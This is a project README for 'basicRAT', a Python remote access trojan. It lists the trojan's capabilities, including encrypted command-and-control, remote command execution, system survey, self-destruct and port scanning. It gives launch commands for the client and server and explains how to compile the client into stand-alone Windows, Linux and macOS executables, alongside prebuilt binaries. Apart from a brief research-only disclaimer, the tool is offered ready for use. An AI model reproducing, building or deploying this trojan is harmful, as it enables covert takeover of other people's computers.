python remote access trojan

basicRAT

This is a cross-platform Python 2.7.x Remote Access Trojan (RAT). Currently still a work in progress, and gets hacked on as time allows. See the binaries/ folder for prebuilt client executables.

Disclaimer: This RAT is for research purposes only, and should only be used on authorized systems. Accessing a computer system or network without authorization or explicit permission is illegal.

Features

• Cross-platform (Windows, Linux, and macOS)
• AES-256 encrypted C2 with D-H exchange
• Accepts connection from multiple clients
• Command execution
• Standard utilities (cat, ls, pwd, unzip, wget)
• System survey
• Self-destruct
• Primitive port scanning
• Client reconnect

Usage

Client

C:\>basicRAT_client.exe --ip 127.0.0.1 --port 1337 --timeout 30

Where ip is the basicRAT server IP address, port is the server listening port, and timeout is the number of seconds the client waits to attempt a reconnect to the server (if disconnected). These are the default values if not specified, you will likely need to supply at least an IP and port if using basicRAT outside of your local system.

Server

$ python basicRAT_server.py --port 1337

Build your own stand-alone executable

If you'd rather not use one the prebuilt binaries, you can easily create your own executable like so:

On Windows you will need:

• Python 2.7.x
• PyInstaller
• PyCrypto 2.6 for Python 2.7
• PyWin32
• pefile

Then run something like C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile basicRAT_client.py from the basicRAT repo folder and it should generate a dist/ folder that will contain a stand-alone PE (portable executable).

On Linux/macOS you will need:

• Python 2.7.x
• PyInstaller & PyCrypto - $ pip install pyinstaller pycrypto

Then run something like pyinstaller --onefile basicRAT_client.py from the basicRAT repo folder and it should generate a dist/ folder that will contain a stand-alone ELF/Mach-O executable.
